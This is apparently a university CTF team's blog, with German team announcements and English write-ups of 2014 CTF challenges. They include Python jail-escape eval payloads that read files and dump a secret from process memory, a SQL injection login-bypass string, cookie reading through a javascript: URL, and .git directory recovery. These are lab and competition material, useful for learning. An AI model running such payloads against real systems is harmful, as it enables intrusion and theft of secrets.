Re­sü­mee – Wintersemester 14/15

Das Capture The Flag – Team konnte auch im Wintersemester 2014/2015 viele neue Interessenten begeistern.
Wir hatten vergangenen Donnerstag unser letztes Treffen dieses Semester und treffen uns im April auf ein neues.

Aber auch in der Frühjahrspause arbeiten wir weiter daran, die Organisation zu verbessern:
Für alle Interessenten bieten wir zu Beginn des neuen Semesters ein selbstentworfenes Mini-CTF an. Hier könnt ihr prüfen, ob euch das Hacken Spaß macht und ihr bei uns mitwirken möchtet.
Außerdem können alle Interessenten der Hochschule Darmstadt das Modul Capture The Flag Hacking im kommenden Semester über das fachbereichsinterne Belegsystem zu Ihrem Stundenplan hinzufügen. Externe Teilnehmer von der TU Darmstadt und CASED können sich bis zum 1. April 2015 via Mail (florian.otterbein@h-da.de) anmelden.

Wir wünschen euch viel Erfolg bei den kommenden Klausuren. Vielleicht sieht man sich demnächst!

Writeup 9447 – Rolling

Writeup by Michael Tröger@Brutewoorse

Challenge Name: Rolling

Value: 100 points

This challenge contained a stripped 64-Bit ELF Executable. When executing this program the string “Fynd I mewn I cyfrinair” will be printed. This is Welsh for “Please input a password”.
If you give the program some password as command line argument the program prints the Welsh equivalent of “wrong password”. This password is the flag.
I used the debugger EDB for this challenge. Any other debugger would have worked as well.
The next screenshot shows the most important parts of the program, which I found after some playing around with the debugger.
rolling_1

At first the number of commandline arguments is determined. It must be two, one for the programname and one for the password. After this, a function is called which returns a pointer on a function which will be later executed by jumping to RAX.

After this call in position 0x400781 it will be checked if EAX is zero. If it is zero the program jumps away and “congratulations” won’t be printed. EAX is probably the returnvalue of the previous call. Therefore, this call must be the code which checks the password.

But RAX must point to the correct code. The beginning of the function which determines RAX is shown in the next screenshot:

rolling_2

You can see that something happens when the first byte 57 is. This is the ASCII Value of “9”. I checked what happens if the first character of the password is “9”. Luckily, this makes the function return the correct pointer to the password checking function. This function is shown in the next screenshot.

rolling_3

The first four comparisons are simple. They just check some ASCII values. The first characters of the password are therefore “9447”. You can see nicely how RAX is used to iterate through the string.
After this, the comparisons get more complex. The code references previous characters in the password such that we cannot just NOP all the jumps and look what is inside the registers which are compared. We could now understand completely what this part of the program does. But we can also debug the progamm multiple times. Everytime we find a new character of the password we restart the debugger with this new knowledge. I used this “stupid” way.
Doing this multiple times we can extract the password and therefore the flag. It is 9447rollingisfun.

Writeup 9447 – FuckPyJails

Writeup by Michael Tröger@Brutewoorse

Challenge Name:  FuckPyJails

Value: 150 points

In this challenge the following information was given:
Remote Code Execution as a Service
fuckpyjails.9447.plumbing
9447

In a browser you’ll see a typcial python traceback error, that GET could not be parsed. The next logical step was connecting to the server using telnet.

telnet fuckpyjails.9447.plumbing 9447
Trying 54.149.19.164...
Connected to fuckpyjails.9447.plumbing.
Escape character is '^]'.
>>>

It seems to be a python shell. If you type something, the response is a python error message at the following line.
if get_key() is eval(raw_input()):

The input will be fed to the eval command in python, which executes the user typed input and compares the result of eval with the result of the function get_key.
It is only possible to enter one command. Then the python program closes the connection.

It would be interesting to see, how the function get_key looks like. The python module “dis” can extract and show the python bytecode of functions:

>>> __import__("dis").dis(get_key)

9  0 LOAD_GLOBAL 0 (socket)

   3 LOAD_ATTR 0 (socket)

   6 LOAD_GLOBAL 0 (socket)

   9 LOAD_ATTR 1 (AF_UNIX)

   12 LOAD_GLOBAL 0 (socket)

   15 LOAD_ATTR 2 (SOCK_STREAM)

   18 CALL_FUNCTION 2

   21 STORE_FAST 0 (s)

   10 24 LOAD_FAST 0 (s)

   27 LOAD_ATTR 3 (connect)

   30 LOAD_CONST 1 ('/keyserver')

   33 CALL_FUNCTION 1

   36 POP_TOP

11 37 LOAD_FAST 0 (s)

   40 LOAD_ATTR 4 (recv)

   43 LOAD_CONST 2 (64)

   46 CALL_FUNCTION 1

   49 STORE_FAST 1 (r)

12 52 LOAD_FAST 0 (s)

   55 LOAD_ATTR 5 (close)

   58 CALL_FUNCTION 0

   61 POP_TOP

   13 62 LOAD_FAST 1 (r)

   65 RETURN_VALUE

This command shows the bytecode of the function get_key. You can see that the function opens a UNIX socket with the name keyserver and reads 64 Bytes. This server response will be the return value of get_key.
It is only possible to connect to UNIX Sockets when you are a process on the same operating system as the server. This means, that we cannot connect to the keyserver from outside.
How can we access the key on the keyserver?

Execution of arbitrary code

With some playing around with the eval and the compile command of python it was possible to execute any python code:

eval(compile('print “this is sparta”\nprint “this is another line”','com.py', 'exec'))

This eval-compile-combination which will be executed by the eval command in the program. Maybe it is possible to only use the compile command but I got some nasty error messages and this method seemed to be a robust solution at the time. The name com.py is some arbitrary name for the compile command. “exec” means that there will be more than one line to execute.

So we can execute something like

eval(compile('import os\nresult=os.listdir("/")\nresultstr=""\nfor elem in result:\n\tresultstr+=str(elem)+","\nprint resultstr','com.py', 'exec'))

This command show all files and folders in the / path of the server. The entry keyserver seems to be interesting.
Using

eval(compile('f = open("/keyserver", "r")\nresultstr= f.read()\nprint resultstr','com.py', 'exec'))

it was possible to read files. The file keyserver could not be read because this is no regular file, it is a unix socket.
By more playing around we could read the fuckpyjails.py, which is executed everytime we connect to the server:

eval(compile('f = open("/home/ctf/fuckpyjails.py", "r")\nresultstr= f.read()\nprint resultstr','com.py', 'exec'))

results in

results in 

!/usr/bin/env python 
import sys 
import socket 
import resource 

resource.setrlimit(resource.RLIMIT_NPROC, (0, 0)) 

def get_key(): 
	s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) 
	s.connect("/keyserver") 
	r = s.recv(64) 
	s.close() 
	return r 

sys.stdout.write(">>> ") 
sys.stdout.flush() 

if get_key() is eval(raw_input()): 
	print "Did you get the key?" 
else: 
	print "Fail!"

This step did not help that much. The key will not be printed or anything. We already knew how get_key looked like because we could easily understand the bytecode.

But we could try to connect to the keyserver socket:

eval(compile('import socket\ns = __import__("socket").socket(socket.AF_UNIX, socket.SOCK_STREAM)\ns.connect("/keyserver")\nresult=s.recv(64)\nprint result','com.py', 'exec'))

This returns “I already sent you the key, stupid!”

Also, the get_key function could not be executed again

eval(compile('print get_key()','com.py', 'exec'))

returns “I already sent you the key, stupid!”.

The UNIX Socket Server, which serves the key, sends the key only once per call. If we connect to the server via telnet again, a new instance of the keyserver and the python script are started. This means that we have only one try to read the key.
The function get_key is called in the “is”-comparison before our code will be executed in the eval. Therefore we can never retrieve the key the same way the get_key function did.
The result of get_key is not saved in a variable for easy access. The rewriting of the python script is also not possible as we do not have any write access.
But the result of get_key must exist somewhere in the memory of the python process such that it can be compared with the result of the eval command. There is a stack in python. How can this information be extracted?

Reading the stack: Theory

After a lot of searching I found a lot of modules. There is the traceback module which can analyse tracebacks after an exception occurred. There is also the ctypes module which can read C-like structures and datatypes in memory. But how do we know where the result of the get_key function lies in memory?
Then I found a code example using the module inspect. This code snippet can read the return value of a function after this function returned:

import ctypes, inspect, random 

def id2obj(i): 
    """convert CPython `id` back to object ref, by temporary pointer swap""" 
    tmp = None, 
    try: 
        ctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i 
        return tmp[0] 
    finally: 
        ctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None) 

def introspect(): 
    """pointer on top of value stack is id of the object about to be returned 
    FIXME adjust for sum(vars, locals) in introspected function 
    """ 
    fr = inspect.stack()[1][0] 
    print "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47]) 

def value(): 
    tmp = "TEST" 
    print "return", tmp 
    return tmp 

def foo(): 
    try: 
        return value() 
    finally: 
        introspect() 

if __name__ == "__main__": 
    foo() 

The function introspect can read the returnvalue of the function value in memory. The inspect module can read the stack and the ctypes module reads the return value.

I converted the snippet in a command for the server:

eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[1][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec'))

I was not sure which stackframe to read. The inspect.stack function seems to return an array. The stackframe could be chosen with the yellow marked number.

Reading the stack: Implementation

Through playing around I could read the return value of the get_key function. The following listings show the commandline output of this. The number of the stackframe is yellow. The returnvalue of the introspect function is green. Some comments are written in blue.

>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[1][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec'))

caught <function introspect at 0x7fefb92aeed8> 
This is the function introspect we just called

Fail! 
Connection closed by foreign host. 
mft@mft-notebook:~/Projects/randomtest$ telnet fuckpyjails.9447.plumbing 9447 
Trying 54.149.19.164... 
Connected to fuckpyjails.9447.plumbing. 
Escape character is '^]'. 
>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[2][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec')) 

caught <built-in function eval> 
This is one of the eval functions, probably the one in the script

Fail! 
Connection closed by foreign host. 
mft@mft-notebook:~/Projects/randomtest$ telnet fuckpyjails.9447.plumbing 9447 
Trying 54.149.19.164... 
Connected to fuckpyjails.9447.plumbing. 
Escape character is '^]'. 
>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[0][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec')) 

caught <frame object at 0x7fbf96a345c0> 
Hm some frame object, whichever this is

Fail! 
Connection closed by foreign host. 
mft@mft-notebook:~/Projects/randomtest$ telnet fuckpyjails.9447.plumbing 9447 
Trying 54.149.19.164... 
Connected to fuckpyjails.9447.plumbing. 
Escape character is '^]'. 
>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[1][1]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec')) 

Connection closed by foreign host. 
Now the program crashes

mft@mft-notebook:~/Projects/randomtest$ telnet fuckpyjails.9447.plumbing 9447 
Trying 54.149.19.164... 
Connected to fuckpyjails.9447.plumbing. 
Escape character is '^]'. 
>>> eval(compile('import ctypes, inspect, random\ndef id2obj(i):\n\ttmp = None,\n\ttry:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = i\n\t\treturn tmp[0]\n\tfinally:\n\t\tctypes.cast(id(tmp), ctypes.POINTER(ctypes.c_ulong))[3] = id(None)\ndef introspect():\n\tfr = inspect.stack()[3][0]\n\tprint "caught", id2obj(ctypes.cast(id(fr), ctypes.POINTER(ctypes.c_ulong))[47])\nintrospect()' ,'com.py', 'exec')) 

caught 9447{seriously_eval_is_lame} 
YEAH. This is the flag, 

Fail! 
Connection closed by foreign host. 

With this method the flag could be captured.

Writeup 9447 – bashful

Writeup by Florian@Brutewoorse

Challenge Name:  bashful

Value: 101 points

In this challenge we got a simple index.html file containing the following information

13/2/2004: I learned how to html, yay!
12/4/2004: I learned how to use git, yay!
13/4/2004: Hidden my ‘repository’ so people can’t access it. I have a feeling I will need to protect something soon.
08/9/2004: Forged a token from the whispering iron. It is very dear to me, I should protect it.
10/9/2004: I put my token in a text file to protect it from alien mind readers from planet Zblaargh.
10/9/2004: I can’t forget my token. What do I do? I should also pack so I’m ready to leave soon.
11/9/2004: I panicked and deleted the token. It is the work of evil doers.
12/9/2004: My token is lost. My life has no meaning now. I’m going to watch Louie season 4.

I highlighted some important sentences and started to search for a hidden repository on the server.

By appending /.git on the URL we got a directory listening archive from the internal git structure.
I browsed through all folders and found the file /.git/objects/pack/pack-deff83d57714493c6d317394f3542da8e396f887.pack
Git uses this pack file to compress all objects, which are for example commits.
At my workstation I initialized a repo with git init, downloaded the .pack and .idx file in a subfolder of my git root folder and executed the command

git unpack-objects <  pack-deff83d57714493c6d317394f3542da8e396f887.pack

I got the feedback “Unpacking objects: 100% (4/4), done.” and can see some new folders in my local /.git/objects
These objects are compressed with zlib.
By uncompressing the 4 files in the 4 new created folders I can see the content of each commit.

The flag is 9447{I_JUST_THINK_BITCOIN_WILL_DIE_OUT_SOON}

9447 CTF

Am 29. und 30. November hat sich das CTF-Team am Fachbereich Informatik getroffen um am 9447 CTF teilzunehmen (https://9447.plumbing).
Ein großes Angebot an Challenges (insgesamt 24) hat dafür gesorgt, dass sich jeder im Team für Aufgaben begeistern konnte.
Dabei waren unter anderem Aufgaben der theoretischen Informatik (Knapsack, Traveling Salesman), sehr aktuelle Sicherheitsprobleme in Webanwendungen und Rätsel, die in einer Minecraftwelt eingebaut waren.

Das noch sehr junge CTF-Team der h_da konnte sich bei knapp 1000 teilnehmenden Teams wieder in den Top100 platzieren und hat damit das selbstgesteckte Ziel erreicht.
Die Writeups der gelösten Aufgaben, werden in den nächsten Tagen folgen.

20141129_164917

20141130_191543

 

CTF-Treffen ab sofort wöchentlich

Heute fand das erste CTF-Treffen des WS 2014/15 statt.
Insgesamt 25 Teilnehmer, von Neueinsteigern bis hin zu Masterabsolventen, haben sich rund 5 Stunden lang mit alten CTF-Challenges und Themen rund um Websicherheit ausseinandergesetzt.

Auf Grund des großen Interesse wird die Veranstaltung ab sofort wöchentlich stattfinden, bei dem jeder Teilnehmer die Möglichkeit hat dem Team Challenges vorzustellen.
Daher ist das nächste Treffen am 27.10. um 17:45 in D14 0.13.

20141120_193821

usd Hackertag – Writeup

Writeup by Caro@Brutewoorse

The last days some members from our team participated in the usd hackercontest and were finally invited by usd AG to their hacker academy at November, 4th.
In the following, we present you the solution for all hidden tokens.

Goal of the challenge: Collect at least one token out of 6 to qualify for a hacker-meeting at a local security company.

Token 1

Look at the html source code of the main page and find the first token in the comments.

usd_1

The token is 531478.

Token 2

There is a poll that asks whether the visitor wants to participate in the hacker challenge. The poll can be answered with yes or no, but the option “Ja” (=yes) is grayed out and cannot be selected.

usd_2

One option to solve this challenge is to activate the “Ja”-option by removing the part that states ‘disabled=”true” ’ in the html source code (this can be done pretty easily by using browser-addons such as firebug).

usd_3

Afterwards, the poll can be answered with yes and the token appears.

usd_4

Token 3

In the downloads-section, an .exe-file named “token-tool” can be downloaded. Once the file is executed, the program opens in the windows console and asks for a password. When viewing the file in a hex-editor the password “moresecurity” is displayed.

usd_5

After executing the file and entering the password, one is provided with another token.

usd_6

The token is 860147.

Token 4

In the admin-section, the user is asked for a username and a password. A sql-injection can be done by entering “admin” in die Username-field and something like “ a’ OR ‘1’=’1′;– “ in the password-field.

usd_7

Afterwards, there is another token:

usd_8

The token is 165225.

Token 5

One of the tokens is hidden in a cookie that the site stores on the user’s computer. One way to view the cookie is to enter “javascript: alert (document.cookie);” in the browser’s address bar. The browser then shows the cookie:

usd_9

Tokens may only be in numerical format. Hence, the cookie cannot be the final token. When decoding the cookie with base64, one gets the token: 513855.

Token 6

When having a look at the html source code of the downloads-page (where the .exe-file can be downloaded), it can be seen that the “token-tool.exe” is stored in a “/dl”-directory.

usd_10

After entering that directory in the address-bar of the browser, the “/dl”-directory can be opened and browsed.

usd_11

There is a text file called “secret.txt” stored in that location. It contains the last token. The token is 029633.

CTF Kickoff – Zusammenfassung

Danke für das große Interesse an dem CTF-Team.
Anbei schicke ich euch nochmal eine Zusammenfassung des Kickoffs.

Für alle die sich noch unsicher sind, ob sie genug Vorkenntnisse mitbringen:
Bitte nehmt am picoCTF teil und schreibt mir bis zum 7. November eine E-Mail (florian.otterbein@h-da.de), ob ihr weiter daran teilnehmen wollt.

CTF Kickoff – Folien zum Download

Writeup CSAW – csaw2013reversing2.exe

Writeup by Fabrice@Brutewoorse

Challenge Name:  csaw2013reversing2.exe

Value: 200 points

In this challenge you get an executable (csaw2013reversing2.exe) which is compiled with Visual C++. It is not possible to decompile the file to get the sourcecode. The only possibility to analyze the functionality of the executable is to debug it. In this case I used the debugger “IDA Pro”.

At one step in the disassembly the program checks if it is executed in a debugger. If this test is positive the program takes another flow than in normal execution without debugger.

ctf_rev1

In this alternate flow the code contains a hardcoded breakpoint (int 3). When the program reaches this step the debugger receive an exception. Do not pass the exception to the application and discard it so the application continues.

ctf_rev2

In the next step of the disassembly a memory address is moved into the register “edx”.

After mouseover the register in the register view you can see the first few chrarcters of the flag.

ctf_rev3

Jump to the memory address in the memory viewer and you will see the entire flag:

ctf_rev4

Writeup CSAW – why not sftp?

Writeup by Fabrice@Brutewoorse

Challenge Name:  why not sftp?

Value: 200 points

In this challenge you get a pcap file which can be opened in Wireshark.

If you follow the FTP control session in the traffic you will see that a ZIP-file is downloaded from a FTP server.

ctf_sftp1

Now search for the FTP data session and save the raw-data as a zip-file.

ctf_sftp2

The archive contains a PNG-Picture with the flag.

ctf_sftp3